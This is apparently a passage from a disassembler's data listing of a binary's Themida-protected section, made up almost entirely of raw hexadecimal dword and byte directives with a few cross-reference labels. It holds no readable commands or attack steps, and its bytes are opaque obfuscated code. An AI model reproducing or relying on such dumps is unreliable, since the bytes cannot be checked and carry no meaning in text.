0BD8B00C1h dd 607048Dh, 304D8D29h, 0D93B0607h, 0E2860Fh, 0B5890000h dd 6070899h, 81D98C66h, 0F2F166D6h, 4C1F672h, 0C6840Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 0CBBCD7C3h, 0FF82BBB0h, 729ED95h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 6D1A1F14h, 45BD2BAEh, 5B06070Ch, 0B8E0Fh, 830F0000h dd 5, 4BC8E5BEh, 6AC32B23h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 23CDC350h, 71951B5h dd 7E806h, 0FC680000h, 0BB9F644Dh, 5EF08BF3h, 8343Dh, 29860F00h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 0CF38C356h, 0AE91Ah, 95010000h dd 60709D5h, 0F78BC08Bh, 0D88BC38Bh, 0C7F78B66h, 71EE585h dd 9635DF06h, 7DBD8B32h, 8B06070Bh, 56006AC0h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0EA2A080Dh dd 77E6DE3Ah, 20D5BD81h, 7D00607h, 850F0000h, 46h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 94C35545h, 85FF96BBh dd 60720D5h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 2DC35141h, 8B1C2C79h, 0B5FF9C6Bh, 60720D5h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0C6C35646h, 650F2F65h dd 0CD10BB2Eh, 6995FFE1h, 6A06070Dh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 4ABC355h dd 2988E406h, 7037585h, 6A9006h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 6085DFC3h, 9E9h, 0D4831C00h dd 0D81DBC9h, 16103FEh, 70AB195h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 4DE781FCh dd 0BF3A7B27h, 49D7E12Bh, 0C2D68166h, 3870F99h, 66000000h dd 8C0FFE8Bh, 9, 19C1BD89h, 8B660607h, 0C8C0FF9h, 89000000h dd 700DD8Dh, 1DBD2306h, 6A060711h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 270EC350h dd 0AF3A6563h, 29D6B23Bh, 70E6D85h, 65F78106h, 600F6414h dd 12E8h, 6A259200h, 0D72FBD3Ch, 191D126h, 8B2E75D9h, 0FF9EEADh dd 88h, 0FB8B5E00h, 2295B501h, 0BE610607h, 138733B4h, 7E8h dd 53200B00h, 0A9B049EAh, 1025B58Bh, 0F88B0607h, 53006A5Eh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 0E90E7BC3h, 0FFFFF807h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 93C35747h db 0BFh, 0, 0B4h byte_57C2E3 db 20h ; DATA XREF: Themida_:0053E810o dd 0C18BFC28h, 58B0Fh, 8CBE0000h, 0EB54B6B1h, 4, 12E900h dd 0E3CB0000h, 7388D31Fh, 9A1BB2BEh, 0B151C820h, 715A9A55h dd 18B1858Dh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 0AEA0AEC3h, 0D678F6BFh, 8E95040h dd 0F3000000h, 4F334E99h, 8997CBB1h, 6A2404h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 345E36C3h dd 9BD8BE4h, 6A060705h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 0DE27C38Eh, 0A433FDC9h dd 6A006A0Ch, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 8BCAC353h, 71DA1B5h, 1F858D06h dd 8B060AFDh, 72091BDh, 5C08306h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 5DC35747h, 2F299FA2h, 0B113BF90h dd 60501FF9h, 5E505250h, 0BB66310Fh, 585A4F79h, 0B8D0Fh dd 6E90000h, 1A000000h, 82D6AA2Fh, 8B9061B6h, 8B006AF1h dd 718FDBDh, 6A006A06h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 9807C355h, 44239F5Ch dd 3D95FF51h, 6A06071Eh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 0AAC350h, 0F79F508Ch dd 0F960E34Ah, 1DDD9589h, 0F610607h, 82h, 0D59D8D00h, 6A060A93h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 35DCC352h, 0F859EC6Ah, 0F3BF0F95h, 0D3FFF08Bh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 62C35040h dd 0BA5A5DCCh, 0BD03991Ch, 60718E9h, 2F5985FFh, 0BD8B0607h dd 6072981h, 19D9BD8Bh, 31E90607h db 7, 2 dup(0) byte_57C4E3 db 0E8h ; DATA XREF: Themida_:0053D468o align 8 dd 29ED815Dh, 89060AFDh, 71919BDh, 0D5BD8106h, 0D0060720h dd 0F000007h, 14286h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 6E4DAE1Eh, 85019EABh dd 6070CCDh, 2E519D8Bh, 9D290607h, 6072AC1h, 23759589h dd 0E3810607h, 100h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 89C35646h, 0BFE8B2Ch, 5F850FDBh, 0F000000h dd 198Ch, 14E900h, 96EB0000h, 0F7A6C779h, 41DF9Bh, 0D84F64FDh dd 9FE06D2Ch, 85298E47h, 6070495h, 0FB36BD83h, 0F00060Ah dd 1084h, 599D0900h, 0E9060702h, 4Bh, 0F1BF0F50h, 3685C75Fh dd 1060AFBh, 0F000000h, 85h, 0E9F78B00h, 2Fh, 2B61B589h dd 85C70607h, 60AFB36h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0B9C35545h dd 8D135C2Ch, 72E519Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1404h, 0C3514100h, 14E85205h, 20000000h dd 1B4057C7h, 537A4070h, 0BDD407E4h, 5D04D8F7h, 0E9C0C442h dd 5, 0BD1CFE9Ch, 815F5F4Fh, 0FFFEFF23h, 819529FFh, 66060718h dd 6ADB8Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 9D89A1C3h, 6070C35h, 0F04C3F6h, 6284h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 778C3536h, 8006BFE0h, 96BF4656h, 0FF6E85F4h, 729ED95h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 8BF78B33h, 0FA8B50F1h, 0F240489h, 68Fh dd 0DDBD0B00h, 0E906071Fh, 31Fh, 0E95700B0h, 6, 415BC8AAh dd 0E65F4DE4h, 57006A70h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 67A03D31h, 133C007Ah dd 0E1952929h, 89060719h, 7212595h, 6A71E406h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 526CC351h, 0C7B63D17h, 8D898B9Dh, 6070DFDh, 0FD8B60Fh dd 8Dh, 71950100h, 0BA06072Ch, 6, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 15C35242h, 1CB31F83h, 0F457640h dd 0C38BF1BFh, 0B05B589h, 0E8C10607h, 68B0F04h, 8B000000h dd 729DDB5h, 0E2F76606h, 222DB58Bh, 85310607h, 6070FE1h dd 820FD82Bh, 6, 0B09B503h, 81660607h, 937C56EEh, 13E9h dd 96319300h, 9311D537h, 1C2EACE2h, 9A23B5CDh, 37A17998h dd 0F18B5350h, 0B5FF935Eh, 60720D5h, 0D6995FFh, 8D010607h dd 6070249h, 70E600B0h, 6199589h, 71E40607h, 0C4DF8166h dd 0F613C67h, 1F683h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 6BDB0B6Bh, 0E975AA4Ch dd 0Bh, 0D98C175Bh, 0E3C72C8Ah, 66081CFBh, 0B60FF38Bh dd 51006AD8h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 0F5395FA1h, 0CA082D5Fh, 6BAF9h, 0B58B0000h dd 6072E65h, 0C38BF08Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 0CDC35646h, 60AD3650h, 0CE8h, 54794500h dd 0D097786Dh, 7E19B5A3h, 586160A1h, 61FB8B66h, 2F55BD23h dd 0E8C10607h, 8D316004h, 6072931h, 0E2F76661h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 27C35545h, 2BEF949Ah dd 91BD2BD8h, 58060701h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 80C35747h, 9D7F634h, 719CD8Dh, 0FD82B06h dd 0EA88h, 38D0F00h, 0F000000h, 7B9F7B7h, 83000000h, 0F0BE00C1h dd 3B4EA5A9h, 0CC860FD9h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 4F83C356h dd 0CFB73981h, 0A1A4F6C3h, 0D98C66FCh, 0C1F6F28Bh, 70840F04h dd 0E9000000h, 9, 999C219Eh, 178D7A1h, 0ED95FFC2h, 0F8060729h dd 5D85895Bh, 2B060730h, 0FE9C3h, 0C7FC0000h, 54F633h dd 8BAAA216h, 7F5FB749h, 8343D58h, 860F0000h, 33h, 0C798D89h dd 50E90607h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 0FAC5C357h, 78A726D5h dd 800FF1h, 8B000000h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 5DD7AC01h, 0E58D89E3h dd 8B060701h, 6AD88BC3h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 0F18AC351h, 0FE373901h dd 1985C705h, 31060726h, 0F1FCFC3h, 0F85h, 0AE900h, 0AA4B0000h dd 0DA2F8A1Ah, 5DE39123h, 6AC08Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 346005C3h, 0FEFE6E16h dd 0C681730Eh, 27681E24h, 20D5BD81h, 7D00607h, 850F0000h dd 20h, 0A75B58Bh, 85FF0607h, 60720D5h, 0FE9h, 0B2E6F300h dd 16280DD3h, 0BB38723Ah, 8E909DCAh, 20D5B5FFh, 0BF660607h dd 95FFCD9Fh, 6070D69h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 0A1C35242h, 0C710D554h, 78F78166h, 6A9004h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 0F78271C3h, 8BA5FED7h, 70FA1B5h, 0D9D8906h, 60060703h dd 0D95BD8Bh, 958B0607h, 6072B9Dh, 22E9958Bh, 6A610607h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 57F3C355h, 0CD7B983Ch, 6ABD2Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 93CCB8C3h dd 0BC8FF90Fh, 89F88BC3h, 7132585h, 0B70F6006h, 559589C7h dd 61060730h, 9E9h, 8B586D00h, 0B85D627h, 0B501C6EDh, 60702E1h dd 0BE9h, 74682A00h, 5BC362B1h, 9F890832h, 2E5DB58Bh, 0CE90607h dd 27000000h, 1164CF02h, 0B7C0C10Ch, 8934241Ch, 7002585h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 217341B0h, 88D0Fh, 8B510000h, 70301BDh dd 4E95E06h, 6AFFFFF9h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 0B716C353h, 2FFF222h dd 8AFB2137h, 1B89BD33h, 8D890607h, 6072C6Dh, 6D4FBF66h dd 8DDF04EBh, 0E1E964AFh, 0CC000005h, 0CE750A9Bh, 0C76E03A2h dd 0C269FE99h, 0BE65FA93h, 0CA65FA8Bh, 31C4F7B2h, 2DC8F59Ch dd 24BFF198h, 1DB8E88Fh, 5F4DBB88h, 4398EDEEh, 2C502239h dd 34C269FCh, 0F2259684h, 9D7049A3h, 0E67FB2B3h, 0E077A750h dd 0E984B239h, 7908A942h, 0BBC2AC47h, 0AA51E414h, 0AD54F323h dd 0B45BFA26h, 0C168FB2Dh, 0C86F0E3Ah, 54D05E17h, 0FD2BF588h dd 0FBA43ACDh, 0ED862DC8h, 2355FC03h, 2254FB90h, 997A35C7h dd 9F401ACEh, 0A94471F8h, 0AE497B02h, 0B5508007h, 69B74A0Eh dd 27F13AADh, 972CC7F9h, 8F25C0F0h, 901FB6E6h, 8922C964h dd 4FF8869Fh, 569C8621h, 49A39FE8h, 0C269FC2Ch, 0B5271561h dd 0FE8DBF65h, 0DD8E35D0h, 2F1A1A24h, 4F8648D6h, 7919AEC4h dd 1D07A2D0h, 7229h, 0FC2C8D00h, 8BF6C269h, 6F49A3F2h dd 0FC60816h, 0CD19AEC0h, 0Ah, 13F472F5h, 76BC3E54h, 2CC08Ch dd 0F626CF65h, 33181397h, 62036FDBh, 28D15F78h, 74755FFAh dd 7F06AD48h, 6F1FB550h, 0A32C1081h, 0A5935B49h, 49A32C34h dd 210BAC7Fh, 67B14408h, 5CF28DB9h, 0FEE887B3h, 6EA049F7h dd 73A52CD3h, 0EFD63FE0h, 6DEC5F6Ch, 1F4F503Ah, 2C81F388h dd 0AF4E7AF9h, 27CE6F08h, 32D974A0h, 0D07EC881h, 0C16F049Dh dd 0F5F8F3Eh, 0D26109B5h, 0CA630AA3h, 18AFDFE0h, 21BCEA71h dd 2FF9DC7Ah, 0AF313CA9h, 8D9E19h, 2C020000h, 33C168F9h dd 16BD588Ah, 6492937Dh, 0CB5E22C9h, 5A0D37Dh, 0BA39EC6Fh dd 0E96F3419h, 0A3718AFBh, 6102D549h, 96C97077h, 71A71806h dd 1FF249A3h dd 0A049D77Eh, 0E8E9D36Eh, 0DB7920B9h, 3DA82EF8h, 8B19AF3Fh dd 6E15B0E2h, 87F7EBD5h, 1F000000h, 0BB24376h, 14B3E372h dd 1EEAD46Dh, 3CA0F92Ch, 4C371CEEh, 10973EDFh, 159C43DEh dd 1EA54CE7h, 25AC53F2h, 1FB85FF2h, 9AA26CA7h, 82DD7169h dd 0F36B0CABh, 8DC06EB8h, 2CED5FF4h, 30BE6500h, 0F2219280h dd 996C49A3h, 0F1FB69AFh, 0C3F49A3h, 194BD279h, 6D26D77Eh dd 727863A3h, 588AF6EFh, 8A2319C3h, 0F72B9435h, 0D22D1738h dd 0FD2AD344h, 0C357A398h, 14B5F769h, 91EAD46Dh, 19AF2944h dd 196h, 0FE2CFA00h, 535BC63h, 1760CB72h, 406F1809h, 7B65FEA5h dd 1CB14C7Ah, 3DD3CB53h, 0A309D54Fh, 0FC2FF047h, 8829C269h dd 0B5A353E1h, 439CD944h, 0D1D2BC8Fh, 0ED7006A1h, 63C3EAE3h dd 0BAC1AB7Fh, 9D44E313h, 9BFD66D1h, 0B482BD43h, 9FCD5A8Ah dd 1DCD6304h, 9BFDBE2Fh, 4C360943h, 0D76E9E45h, 0DE79A930h dd 43CD8637h, 7D12A5D5h, 5FF626CFh, 3FB61FB8h, 0E772AF6Ch dd 7C59B29Ch, 5E1FB619h, 192h, 877525C2h, 49A3F216h, 81A48E61h dd 7D6B01F9h, 47A2F9CFh, 9220C79Ah, 751CB7E9h, 881B4DDCh dd 5D5E48E1h, 5E059A2Dh, 43B4A22Eh, 8E439CE9h, 0E34652BBh dd 0A61E7AB2h, 0A7D75E05h, 8EBC2D1Bh, 3407439Ch, 5F4DFD93h dd 439C8DEEh, 637C6639h, 6D14ADDCh, 8E80F1DFh, 0F8CB439Ch dd 0F59C3769h, 0D9A5406Eh, 224EF846h, 7029E283h, 0AD4878A6h dd 8FC16A18h, 0CAB44DF4h, 0B6246471h, 7B761Fh, 0ADA0000h dd 0BF98F83h, 49A3F2EAh, 4EAFDE87h, 1FA42444h, 0AF56F7D1h dd 63CF034Eh, 0EE8F34FFh, 436F0A04h, 0D42223F6h, 16A44BECh dd 42077866h, 1D4B49A3h, 0BA42DB82h, 46B7FDE7h, 6A49A342h dd 0F19A8F99h, 1D402AC5h, 0EC85B496h, 750BAC45h, 200E9ECCh dd 49A342AFh, 0DF8627FAh, 2072DD46h, 0A7136FD4h, 8205B5BDh dd 0BD5C4CFCh, 0B5FBE53Eh, 49A33B94h, 36D76C3Fh, 96h, 9C820AACh dd 942DD46Dh, 86B45DF3h, 0BF901EBh, 47A2EE99h, 55F023E4h dd 806E1EB4h, 439CEE0Fh, 0E38A2553h, 5EFC24Ah, 0A23565ECh dd 9F36660Dh, 0EE742CF8h, 331B439Ch, 0D3BD588Ah, 5080AE78h dd 0EF7220B5h, 92AB94CBh, 6F927CA1h, 9B0CFAE7h, 5439CEFh dd 9FCFB8Ah, 0F6C95197h, 0B1D1BF55h, 58419700h, 2757DE85h dd 34D570A2h, 0A92C228Dh, 0C4DD6E6Dh, 9644E5Ch, 6F67EF3Fh dd 26CBEBD9h, 0AA723B8Ch, 86264BBCh, 299A8837h, 74378626h dd 0A54619A1h, 75259E10h, 0A3F21687h, 0A48E6149h, 6B01F981h dd 0F25CCDBBh, 0D4A749A3h, 0D77E1945h, 5E4C543Eh, 479EEE3Eh dd 61F424E5h, 53812AC0h, 8E7811B8h, 5FBEEE75h, 2DFFA95Fh dd 0C358F956h, 0B259EC1Ch, 33CBB8E6h, 62AC3F25h, 2454FDADh dd 0CB4CBD91h, 0D697E0F3h, 0CE670EA7h, 1242432Dh, 8030DE73h dd 0F3CB2192h, 0FF705EE0h, 4AE0F3CAh, 861CEF77h, 0F3CB2798h dd 0B59F72E0h, 4AF184B4h, 63F994C3h, 1EB8ABAh, 4877DE8h dd 0CBFDCB23h, 8FF89138h, 3642571Ch, 35C0A248h, 6AC5AF50h dd 0B54272DCh, 0D62B2386h, 4426CA2Bh, 0C263FCA3h, 0BF56862Dh dd 0B34E8029h, 7089730Ch, 14EFh, 405E6500h, 0F231A290h dd 0A97C49A3h, 0CD7F4D40h, 6953D7EBh, 6AFB2C9Dh, 790C3CC3h dd 7E194BD2h, 8A2350D7h, 98295CE3h, 9E376AF1h, 0A84170F7h dd 0B14C7A01h, 0B857830Ah, 89526711h, 4C281E2h, 81000000h dd 4EAh, 24148700h, 2404895Ch, 43D968h, 240C8900h, 560D68h dd 243C8900h, 1167BA52h, 0F9B91AC9h, 1EB41F2h, 24148BD1h dd 4C481h, 8B540000h, 0C481243Ch, 4, 5FBE5651h, 31349364h dd 5E042474h, 8108478Fh, 645F0877h, 34FF3493h, 0C4835F24h dd 2434FF04h, 4C48159h, 0E9000000h, 0FFFC734Fh, 0BE61499Dh dd 42503990h, 0F1DFCB79h, 0B09C3B8h, 0FFC50306h, 0DAD6A3E0h dd 18DB997Dh, 0DBBADE3Eh, 9D180B47h, 95D6AC22h, 629C2123h dd 3A9E621Fh, 0B94C5351h, 1BFEAC27h, 7414A96Dh, 0E5AB3F5Eh dd 0B89B0D48h, 0B01C5C1Ch, 0E72FE213h, 0CA900F10h, 0D4787E64h dd 552CDF6Ch, 167C0A02h, 3934232Eh, 1403C126h, 2871AD6Ch dd 3B04EB4Dh, 0E9041FCCh, 5B5h, 1EB35283h, 17AC4B77h, 12A74270h dd 0CA13C6Bh, 0A9F3265h, 699C576Fh, 6F9C43D8h, 689A41D6h dd 619138CDh, 0F66431C6h, 98E89708h, 0F9CBE243h, 58A1FC2Ch dd 0C52402BFh, 1DA44BECh, 14C257EAh, 0B59F3E6Bh, 5BF184B4h dd 42E984B2h, 4FEE1AA9h, 0C250FA8h, 1BC25585h, 1FB2E48Dh dd 0B32A9B89h, 0A27549A3h, 0EC8BB7B8h, 20EE8145h, 992FC6F6h dd 8027C2F0h, 4FF6FDE7h, 4EF58A1Dh, 5BE2891Ch, 7DE88F2Eh dd 8535EA34h, 0B376E7D5h, 0EEC149A3h, 0A3B3A91Ah, 3721F449h dd 0DC710436h, 0DC720535h, 0B3CD3E2Ch, 501849A3h, 0A3B2F162h dd 0C8693C49h, 8BF9C5DEh, 7349A3B3h, 0D96C46Dh, 0BAA445E0h dd 0C60FD15Fh, 1419AEFEh, 61h, 69FC2C78h, 0F28BF6C2h, 166F49A3h dd 79671708h, 49A3F208h, 0C3F18053h, 0FEE88128h, 0AEC030A5h dd 1AA19h, 250E0000h, 0FB64F7Ch, 5F8B8C76h, 669219C0h dd 6A9920C7h, 649039CFh, 3FC6DFC9h, 45CC7312h, 2ED57C17h dd 8753D35Dh, 0D0FC2AF4h, 147D1847h, 0AA60FC6h, 0D065067Bh dd 0C95EF929h, 68F92C57h, 6F0E3AC1h, 45AD56D9h, 349506F4h dd 0DE049A3h, 7FB397A4h, 12CB7C95h, 74901304h, 0DCA1D42Bh dd 0C15C8A19h, 4AA3D6D7h, 9F8D244Eh, 49A3E12Eh, 0DA3DA679h dd 0CE63045Dh, 0CA60F727h, 8AB90447h, 0AE98D6B8h, 45E00E95h dd 52E5179Eh, 5FF224ABh, 0CB3C2AB8h, 1649A3A6h, 47D18A43h dd 0F03E21C7h, 0AF09F7EEh, 62E519h, 25490000h, 0F2168775h dd 8E6149A3h, 0E070A3A4h, 0A3F281F2h, 58F9CC49h, 61FC2AB1h dd 0D563F6BAh, 89D386Bh, 0EC932E61h, 6B42DB5Eh, 0AF6367A4h dd 0FC95C4C5h, 4AD4B755h, 0AEDA6184h, 0C9B76719h, 49A3DC58h dd 0DB67D0A3h, 8D536BDDh, 40DDD1BBh, 41000000h, 0C168F92Ch dd 0C66D083Ah, 230D1B56h, 4EC055F0h, 0B8497C25h, 9D4FB011h dd 2F0407B7h, 77A3A48Eh, 0F76531D8h, 0DF49A380h, 0DE87B886h dd 0EC731AABh, 9C8627BAh, 0AF319243h, 14819h, 25AC0000h dd 3C341CA2h, 0FF681D40h, 0EA8DFA09h, 696A5489h, 72F9A03Bh dd 4FC0AE42h, 9A49A2FFh, 0E09026C7h, 0A2FF81F2h, 4C31CC49h dd 4982AE66h, 0A230DAEh, 57C8569Fh, 39F599D4h, 0CFB9CC79h dd 0EA17A0CEh, 0F1982B5Dh, 7710B758h, 0F07841D6h, 0FA7462F8h dd 1547A2CFh, 0CC29AC42h, 62F37E41h, 6DE4B21Bh, 81FF5944h dd 0C7F77E97h, 0D7781542h, 44119442h, 39D400B4h, 0B85A3D0h dd 55F02021h, 0E6013CBFh, 53D54634h, 4D20439Ch, 0FE754EE4h dd 60ECFE6Ch, 7D6708EAh, 5A2D9864h, 4984439Ch, 982151FFh dd 8D26CD68h, 0A957ECh, 4E4F39D4h, 59E0871Eh, 75F88E29h dd 0C06F8DFFh, 24056EA0h, 0B6FD264Eh, 65162F19h, 84B462ACh dd 785D5CF1h, 621FB5F1h, 18Bh, 8A820AC6h, 0CDC144F4h, 0D8774DCFh dd 0AA1B099Fh, 0F549A3B1h, 44F23822h, 0F47A2B9h, 5E07953Ch dd 9490CD30h, 2E5802F2h, 72A2A38Dh, 67973ED3h, 72A229D0h dd 75A52CD3h, 86B43BE2h, 1CAB44EBh, 81C98EEFh, 38CB0EADh dd 992CF097h, 1DD68F8Fh, 62F52513h, 47761FCDh, 0DF6E07AEh dd 0D87118AFh, 424095EEh, 7A9A1FB6h, 0C2000000h dd 0A950EB19h, 260BA710h, 0A86A663Bh, 830AF2BEh, 0EA0BF98Fh dd 9549A3F2h, 0CDA92CC2h, 1FBE7D77h, 7AE477Ah, 0CAE3CD6Eh dd 0A3998DFEh, 8A33B149h, 821BC25Bh, 23F33D98h, 54C5B39Ch dd 9F49A399h, 0EC952BCCh, 93015FBAh, 4F8207C5h, 0CEBCC4AEh dd 49A2F7ADh, 3FEF8558h, 0A2F7E051h, 6E582B49h, 1B09B967h dd 49A2F7AAh, 0CE3F2DF5h, 1949A2F7h, 0C0BBA546h, 0A7h dd 8A820A36h, 7D184BF4h, 2B9D8B93h, 6847A2EEh, 4EF590BFh dd 0FED1CBB5h, 0F590BF68h, 0B2CBB54Eh, 0C65CFB2Bh, 0A5406D16h dd 9CEE60D1h, 0EED8AB43h, 751040E7h, 0EE4A02CEh, 9F1439Ch dd 788D1886h, 0EAF82Ah, 7DAD9BA5h, 0C61E8222h, 0AC185FB8h dd 716A9C0Ah, 0DB7011B2h, 0FC928A12h, 0F45E2979h, 9C2B9506h dd 0A40DE043h, 0A08A0192h, 849DAA98h, 15E84197h, 58B7E76Eh dd 0DF409488h, 0D41767F4h, 0F1A3C5B7h, 9D08AF50h, 3ACBFEA7h dd 0B510FA93h, 1B139B6Bh, 0C952D585h, 0C8662DC2h, 5360A690h dd 9E3B8CBAh, 0AC436CBh, 6F48A82h, 479EF7F9h, 3CCA7144h dd 21C86793h, 2CCD689Ah, 88114142h, 430BF5Ah, 8C33C869h dd 9422C95Ch, 7920BFEBh, 0F7B0F6E0h, 4E45A4BBh, 93C36DBBh dd 86B55EF4h, 0C1AB44EBh, 6E5C0CBAh, 41840AFDh, 8A8B7548h dd 8D14BB5Ah, 0B11CC35Eh, 4070DE68h, 396910A5h, 376F79Eh dd 0EC000000h, 0FB2C7C5Eh, 0C3CC36Ah, 194BD279h, 2350D77Eh dd 295CE38Ah, 376AF198h, 4170F79Eh, 4C7A01A8h, 57830AB1h dd 686711B8h, 16DBh, 89243489h, 4C681E6h, 83000000h, 348704EEh dd 89535C24h, 4C381E3h, 83000000h, 1C8704EBh, 34895C24h dd 0E3895324h, 4C381h, 0EB810000h, 4, 5C241C87h, 50241C89h dd 0B0AA9B8h, 8BC68906h, 0C4832404h, 1C8B5404h, 4C48324h dd 0D5685351h, 5B1A595Eh, 0E381DBF7h, 3A093E89h, 32FCB81h dd 0F3811508h, 35082327h, 15BD989h, 593189D9h, 52241C8Bh dd 0C281E289h, 4, 8704C283h, 0FF5C2414h, 815E2434h, 4C4h dd 6D2DE900h, 0F879FFFCh, 897E0B5h, 0FBCB8F4h, 0C503060Bh dd 0BA36E0FFh, 0A7BC7C4Fh, 55B81955h, 66075CA3h, 0C6281B98h dd 1B04B6Fh, 773E258Ah, 31020F02h, 0BF40063Dh, 0A55C7824h dd 2AE753FBh, 29A767DBh, 2DE3467Eh, 191B51A5h, 1FB5076Eh dd 99A1311Ch, 0A7DB0A87h, 0D33916C5h, 3D7975F6h, 0D4D029E5h dd 0DC7550F7h, 176F3B8Eh, 123446E9h, 12474022h, 0C18B76F1h dd 6D9B58Bh, 4EB0607h, 0 dd 2991B58Bh, 95890607h, 6071EF9h, 18B1858Dh, 0BD890607h dd 6072D35h, 5E96050h, 0D8000000h, 0B21B0AA7h, 24048961h dd 6AF88B66h, 0BF006A00h, 7908C787h, 58C0Fh, 81660000h dd 8DF8A8E7h, 0B128785h, 8D858906h, 6006070Eh, 53C1BF0Fh dd 0C083615Bh, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 11E837A0h, 0EB000000h dd 5AF72F5Dh, 0B72E29ECh, 877D7F2Ah, 0C8F03105h, 0E850905Eh dd 0Ah, 9C20AEFBh, 8A86646Eh, 5250C3C3h, 71ADBF66h, 0A4BF310Fh dd 5A227020h, 6A905E58h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 747FC351h, 0BC8917CEh dd 7418501h, 6A0607h, 12E9h, 27580900h, 90C004DDh, 0D3E35F8Bh dd 0F22F124Ch, 6A55904Ah, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 95FF8F3Eh dd 6071E3Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 0DCC35343h, 98A1E04Fh, 5FFA8B53h, 93D59D8Dh, 6A060Ah dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 564582C3h, 668E7D84h, 0FF90DCB1h, 50006AD3h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 3C8384CCh dd 1FD1BD89h, 85FF0607h, 6072F59h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 6EC35040h, 6BC7812Bh, 665D2B11h db 8Bh, 0FEh word_57DA46 dw 2E9h ; DATA XREF: Themida_:0053D64Co db 9, 2 dup(0) byte_57DA4B db 0E8h ; DATA XREF: Themida_:0053CF00o align 10h dd 91ED815Dh, 6A060B12h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 0F439C352h, 0ED3B2063h dd 66745EF6h, 8BCFEDBFh, 70C5DB5h, 11BD0306h, 81060708h dd 720D5BDh, 7D006h, 0D9860F00h, 6A000001h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 2BA9C355h dd 70285BDh, 0B58B5606h, 6070471h, 0F19D8B5Eh, 6A060714h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0A64FC355h, 7B428A4Fh, 59BD896Fh, 81060702h dd 100E3h, 0B5B58B00h, 0B060700h, 0FD850FDBh, 6A000000h dd 3E85000h, 20000000h, 